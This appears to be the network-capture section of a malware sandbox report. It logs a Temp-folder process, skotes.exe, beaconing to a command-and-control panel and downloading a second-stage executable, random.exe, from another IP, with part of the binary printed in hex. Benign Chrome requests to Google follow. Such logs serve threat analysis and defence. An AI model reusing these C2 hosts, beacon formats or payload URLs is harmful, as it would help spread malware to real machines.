Nov 26, 2024 08:04:02.782921076 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49930	185.215.113.43	80	8500	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:05:04.376418114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 26, 2024 08:05:05.707216978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 07:05:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49937	185.215.113.43	80	8500	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:05:07.347105026 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 26, 2024 08:05:08.788698912 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 07:05:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 39 32 32 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 32 32 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 32 33 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 39 32 33 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1009228001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009229001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009230001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009231001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009232001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49940	31.41.244.11	80	8500	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:05:08.912717104 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 26, 2024 08:05:10.247915983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 07:05:10 GMT Content-Type: application/octet-stream Content-Length: 4418048 Last-Modified: Tue, 26 Nov 2024 06:57:43 GMT Connection: keep-alive ETag: "67457167-436a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 c0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c5 00 00 04 00 00 1c 32 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 a6 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@2D@ _qs px'@.rsrc p'@.idata q'@ 8q'@tdbqqdnq'@wpfewoasDC@.taggant0"HC@
Nov 26, 2024 08:05:10.248075962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 08:05:10.248090029 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 08:05:10.248097897 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 08:05:10.248110056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: .=.\`NRm~G9[z.
Nov 26, 2024 08:05:10.248218060 CET	448	IN	Data Raw: 61 26 c1 f3 27 c3 fe 05 56 a7 f8 29 68 2f 97 ba 8e 31 39 b6 4d 97 be 17 6b 73 0e d1 85 5e 12 69 72 72 47 e2 2f 36 8b 7a 54 e9 67 61 2c 64 c3 07 c3 c8 fa 6a cf 33 d4 d3 3c 62 52 02 04 ef 23 0f 13 5f e0 d4 4b 69 0f 5f f1 2e 20 6d 5e d1 3c ed 35 a9 Data Ascii: a&'V)h/19Mks^irrG/6zTga,dj3<bR#_Ki_. m^<5."]pds}B_!0;O2G [.g>Pnhu@$$c>8wGya.)z#qOKJpWAY![zVl)'=#bN.C,[M#5
Nov 26, 2024 08:05:10.248240948 CET	1236	IN	Data Raw: 46 00 17 43 c1 31 d9 c6 19 e8 dd 44 d6 30 e2 9d b4 af 6e 49 da 3c 70 da c9 33 1b 72 ca 40 fe c2 87 b3 0b 1b 81 3e 9c cc 88 43 b2 89 1f 7a 0c 67 a4 ca 10 7e e1 df 68 99 55 92 1e a6 09 c3 bc 65 23 a9 eb 6c 1c 70 86 71 9d 4a 2e b1 65 10 91 8a a1 4f Data Ascii: FC1D0nI<p3r@>Czg~hUe#lpqJ.eOb%/[~klB4^^09!NjtuAiosOlCiJ1+fc`Dr?xEe$n_&zQ6uNoL\"qaID@"=97$E
Nov 26, 2024 08:05:10.248370886 CET	1236	IN	Data Raw: a8 c3 72 40 ec 9e 8e 40 b6 4f f5 c9 89 c4 e5 dd 46 1f e9 48 c1 03 5d 2d 48 ec 29 77 3e 5a d2 dd 89 38 18 7b 40 ea 5b ee 8e 77 d9 c6 95 53 cf 2e 4d 51 12 f1 6e c2 49 33 a3 53 2a 5a f5 22 32 d3 b0 67 63 e0 7f 1a 26 fa 89 83 31 1f 55 38 5f 1d 4c 45 Data Ascii: r@@OFH]-H)w>Z8{@[wS.MQnI3S*Z"2gc&1U8_LEeRx4>aCu3(&3o:_Vp= `Bn?b~)`>F)_N:ABR.zHh##u:YDR`\%qL>K7#QhO=9a..i?kK
Nov 26, 2024 08:05:10.248388052 CET	1236	IN	Data Raw: 9f 7f b1 98 84 2c 92 66 56 72 c6 4d 8b 6e 24 3b 5a 35 18 a6 69 49 18 38 42 fe 25 41 1c 43 ba 68 5b 9a 49 f9 5f 0c 81 fe b3 f1 4d 7d f9 08 19 77 01 15 1a 1f fe 02 4b 6a 96 df f0 94 79 93 25 07 77 1f 13 80 09 d5 b0 28 0b 9b 31 b3 c4 89 54 a9 de 19 Data Ascii: ,fVrMn$;Z5iI8B%ACh[I_M}wKjy%w(1T!{p5XsO5@AS8z W{u+RRi9{k}R/,{j=sl9"_34%D1hG~j`_XJ#f"'lsY9
Nov 26, 2024 08:05:10.248404026 CET	1236	IN	Data Raw: 63 5f 92 87 bb 24 12 d9 fa e1 da 6a eb 87 76 cb e6 42 be 80 8e 43 72 09 d1 7a f7 aa 9d 11 8b 31 bf da 8d 44 19 c7 ed 3f 81 4b 20 a9 3f 5a 47 05 3f cc e1 53 c8 e3 23 39 ff 9b ef 52 63 49 c9 19 a6 6b d9 08 3c b8 6d 88 d4 48 bd 9b 6d 19 02 cc 17 04 Data Ascii: c_$jvBCrz1D?K ?ZG?S#9RcIk<mHm\KC6gZ=`)nfkI"_gs'g36gza^\|k)\|E$=k\|SFO%_`i:(n*r\|+@O6t\v_p=rhO0SQs>qh@n
Nov 26, 2024 08:05:10.369163036 CET	1236	IN	Data Raw: a5 d4 24 0e eb 48 05 4c 32 b0 0f fa f2 60 a6 0c 6f 9e 27 6f e8 0b a1 3f 22 d9 16 70 8b a2 b8 da 3a 47 3a 63 52 3f 4a 15 61 01 c6 47 83 6a be 0a 24 09 6c 50 eb 21 6d 47 ea 83 e1 9f 38 69 16 23 7a 55 2c 94 7d b9 40 22 a4 6d 16 cc 7d 47 6c 30 7e 61 Data Ascii: $HL2`o'o?"p:G:cR?JaGj$lP!mG8i#zU,}@"m}Gl0~a"+Hk9$2f;%voSKHm[.a`]kISS9.P eF>Kl24v9Q}>[uAniYMF@c )+.R?o~x"=A@T*;sSwtR

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	142.250.181.100	443	4640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:24 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCIrTzQEIx9TNAQih1s0BCKjYzQEI+cDUFRjBy8wBGLrSzQEYxdjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 07:03:25 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:25 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-UagdYe7U1xyHh74NmdFOEw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 07:03:25 UTC	124	IN	Data Raw: 62 30 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6f 6b 63 20 74 68 75 6e 64 65 72 20 76 73 20 73 61 63 72 61 6d 65 6e 74 6f 20 6b 69 6e 67 73 22 2c 22 6e 76 69 64 69 61 20 73 74 6f 63 6b 22 2c 22 67 65 6e 65 72 61 6c 20 68 6f 73 70 69 74 61 6c 20 73 70 6f 69 6c 65 72 73 20 6c 75 6c 75 22 2c 22 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 20 73 70 61 63 65 78 20 66 61 6c 63 6f Data Ascii: b0f)]}'["",["okc thunder vs sacramento kings","nvidia stock","general hospital spoilers lulu","rocket launch spacex falco
2024-11-26 07:03:25 UTC	1390	IN	Data Raw: 6e 20 39 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 66 6f 72 74 75 6e 65 20 66 65 61 73 74 20 72 65 77 61 72 64 73 22 2c 22 72 65 63 61 70 20 64 75 6e 65 20 70 72 6f 70 68 65 63 79 20 65 70 69 73 6f 64 65 20 32 22 2c 22 64 6f 67 65 63 6f 69 6e 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 22 2c 22 75 63 6f 6e 6e 20 77 6f 6d 65 6e 20 62 61 73 6b 65 74 62 61 6c 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e Data Ascii: n 9","monopoly go fortune feast rewards","recap dune prophecy episode 2","dogecoin price prediction","uconn women basketball"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmN
2024-11-26 07:03:25 UTC	1324	IN	Data Raw: 68 50 55 55 46 6b 61 55 5a 79 62 57 73 35 4d 31 52 54 4e 46 6c 57 53 6b 34 77 4b 33 67 7a 61 32 35 58 55 55 46 79 4e 33 46 68 61 48 4a 4f 53 47 56 76 63 30 6b 79 4e 58 42 58 64 6d 4e 57 4d 6e 51 31 55 6b 46 74 51 57 35 4e 4f 45 39 35 4e 48 64 6e 53 46 64 48 52 48 4e 56 59 33 4d 32 61 32 39 55 51 32 52 6e 51 6e 68 47 65 46 70 51 64 32 74 6e 4e 45 46 68 4e 6e 64 74 53 57 67 72 57 57 77 76 4e 6c 63 78 57 46 6c 45 62 55 4a 36 55 54 42 53 57 58 64 57 4b 30 78 46 51 58 5a 34 52 46 4d 32 64 30 56 34 61 6d 4a 59 57 6b 49 30 54 56 42 78 4d 6e 64 43 5a 7a 64 58 53 45 31 33 4e 33 52 56 64 6b 39 47 62 56 64 50 4d 32 64 42 56 57 5a 42 5a 48 68 6e 4d 32 6b 33 63 30 63 30 62 57 30 32 55 45 4a 42 62 55 46 36 53 7a 68 71 4c 30 4e 42 64 48 49 7a 57 56 4a 46 5a 57 46 33 52 Data Ascii: hPUUFkaUZybWs5M1RTNFlWSk4wK3gza25XUUFyN3FhaHJOSGVvc0kyNXBXdmNWMnQ1UkFtQW5NOE95NHdnSFdHRHNVY3M2a29UQ2RnQnhGeFpQd2tnNEFhNndtSWgrWWwvNlcxWFlEbUJ6UTBSWXdWK0xFQXZ4RFM2d0V4amJYWkI0TVBxMndCZzdXSE13N3RVdk9GbVdPM2dBVWZBZHhnM2k3c0c0bW02UEJBbUF6SzhqL0NBdHIzWVJFZWF3R
2024-11-26 07:03:25 UTC	507	IN	Data Raw: 31 66 34 0d 0a 52 57 78 47 56 47 74 54 64 56 46 74 51 30 4d 36 49 46 56 44 62 32 35 75 49 45 68 31 63 32 74 70 5a 58 4d 67 64 32 39 74 5a 57 34 6e 63 79 42 69 59 58 4e 72 5a 58 52 69 59 57 78 73 53 67 63 6a 4d 47 51 7a 5a 6a 63 31 55 6b 56 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 54 46 41 78 56 47 4e 33 65 6d 4d 30 65 46 52 45 52 54 46 5a 55 46 46 54 53 7a 41 7a 54 33 6f 34 64 46 52 4c 54 56 39 51 56 47 4d 78 56 46 4e 46 62 33 4e 36 61 7a 52 30 55 31 56 79 54 58 6c 52 52 55 46 35 58 33 4e 4e 52 6c 46 77 42 77 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 37 30 37 2c 37 30 36 2c 37 30 35 2c 37 30 34 2c 37 30 33 2c 37 30 32 2c 37 30 Data Ascii: 1f4RWxGVGtTdVFtQ0M6IFVDb25uIEh1c2tpZXMgd29tZW4ncyBiYXNrZXRiYWxsSgcjMGQzZjc1UkVnc19zc3A9ZUp6ajR0TFAxVGN3emM0eFRERTFZUFFTSzAzT3o4dFRLTV9QVGMxVFNFb3N6azR0U1VyTXlRRUF5X3NNRlFwBw\u003d\u003d","zl":10002}],"google:suggestrelevance":[707,706,705,704,703,702,70
2024-11-26 07:03:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	142.250.181.100	443	4640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:24 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	142.250.181.100	443	4640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:24 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCIrTzQEIx9TNAQih1s0BCKjYzQEI+cDUFRjBy8wBGLrSzQEYxdjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 07:03:25 UTC	1018	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 07:03:24 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 07:03:25 UTC	372	IN	Data Raw: 31 63 32 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1c26)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-26 07:03:25 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-26 07:03:25 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-26 07:03:25 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 